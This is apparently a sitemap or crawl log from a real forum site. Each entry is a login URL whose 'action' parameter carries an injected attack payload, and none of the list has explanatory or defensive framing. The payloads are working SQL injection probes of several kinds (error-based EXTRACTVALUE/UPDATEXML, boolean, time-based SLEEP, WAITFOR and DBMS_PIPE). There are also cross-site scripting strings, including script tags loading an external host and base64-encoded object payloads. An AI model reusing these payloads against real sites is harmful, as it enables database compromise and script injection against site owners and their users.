http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x6C6F67696E%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20RLIKE%20(SELECT%20(CASE%20WHEN%20(35=85)%20THEN%200x6C6F67696E%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%22%20AND%20%22xC%22=%22V1 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%22)%20AND%2046=47%20AND%20(%2259%22=%2259 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25%22%29%20AND%2014%3D21%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25%27%29%20AND%2012%3D12%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25%27%29%20AND%2012%3D18%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25%27%29%20AND%2014%3D14%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25%27%29%20AND%2041%3D61%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%2015=15%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%2016=36%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%2065=65%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%2098=16%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(39=88)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(86=86)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(99=24)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%2527 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%2527%20AND%2061=11%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%2527%20AND%2077=77%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20'9N'='8l 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20'AS'%20LIKE%20'AS 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20'Og'='Og 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20'bs'='Yy 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20's6'%20LIKE%20'oL 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20'zP'='zP 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20OR%20'Vl'='Vl'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(58=58)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'UQ'='UQ 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(67=16)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'Dt'='Dt 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(78=63)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'Pi'='Pi 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(89=89)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'Xb'='Xb 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%22 0.0003 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%20('tP'%20LIKE%20'Go 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%20('wJ'%20LIKE%20'wJ 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%2014=14%20AND%20('aT'='aT 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%2046=16%20AND%20('vJ'='vJ 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%2092=98%20AND%20('1i'='1i 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%2099=99%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/member.php?mod=logging&loginsubmit=yes&infloat=yes&lssubmit=yes&action=login')%20AND%20SLEEP(5)%20%23 0.0001 